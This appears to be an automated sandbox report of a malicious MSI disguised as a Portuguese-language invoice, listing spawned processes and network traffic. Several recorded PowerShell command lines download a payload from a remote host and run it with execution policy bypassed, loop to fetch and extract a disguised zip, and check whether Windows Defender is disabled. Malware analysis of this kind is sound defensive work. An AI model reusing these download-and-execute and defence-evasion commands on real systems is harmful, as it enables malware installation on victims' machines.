2024-11-26 07:56:06 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49958	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:05 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:05 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 2a3ce4a2-301e-001f-2191-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075605Z-174f78459684bddphC1EWRbht40000000usg00000000bu3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:06 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Target ID:	0
Start time:	02:54:01
Start date:	26/11/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\Fatura931Pendente956.pdf761.msi"
Imagebase:	0x7ff658db0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:54:02
Start date:	26/11/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff658db0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:54:02
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 7499E4E7F1DA1FA24C606FAD5E4A5918
Imagebase:	0x570000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:54:02
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:54:02
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:54:07
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:54:07
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:54:15
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss381D.ps1"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:54:15
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:54:15
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:54:16
Start date:	26/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:54:17
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2060,i,12800759759220068023,3878427892193001850,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	02:54:19
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss4957.ps1"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:54:19
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:54:25
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command & { if ((Get-MpPreference).DisableRealtimeMonitoring -eq $false) { Start-ScheduledTask -TaskName 'ATD' } }
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:54:25
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:54:27
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6678.ps1"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:54:27
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:54:35
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 6016, Parent PID: 7188

General

Target ID:	23
Start time:	02:54:35
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	02:54:35
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss8908.ps1"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:54:35
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:54:41
Start date:	26/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline"
Imagebase:	0x7ff649390000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:54:41
Start date:	26/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA037.tmp" "c:\Users\user\AppData\Local\Temp\CSC9B11AECFE9254054A1433CAC9323B2.TMP"
Imagebase:	0x7ff788f90000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:54:42
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssA4C2.ps1"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:54:42
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:54:48
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse \| Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	02:54:48
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	02:54:55
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssD54C.ps1"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:54:55
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	02:54:59
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\Executar01aa.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	02:54:59
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	02:55:11
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1566.ps1"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:55:11
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:55:15
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware -eq 1 $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus -eq 1 # Se ambas as chaves existirem com valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -eq 1 -and $disableAntiVirus -eq 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, verifica se a pasta j existe e a cria se necess rio if ($loopCompleted -and !(Test-Path -Path $folderPath)) { New-Item -ItemType Directory -Path $folderPath -Force Write-Output "Pasta C:\LocalNow criada com sucesso ap s o loop completar." } }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	02:55:16
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	02:55:31
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss63D8.ps1"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	02:55:31
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	02:55:36
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force \| Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	02:55:36
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\temp\DownSistem.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	02:55:36
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	02:55:36
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	02:55:53
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssBA2A.ps1"
Imagebase:	0xce0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	02:55:53
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	02:55:56
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File C:\temp\sistema.ps1
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	02:55:57
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	02:56:22
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss2A2E.ps1"
Imagebase:	0x7ff6ec4b0000
File size:	433'152 bytes
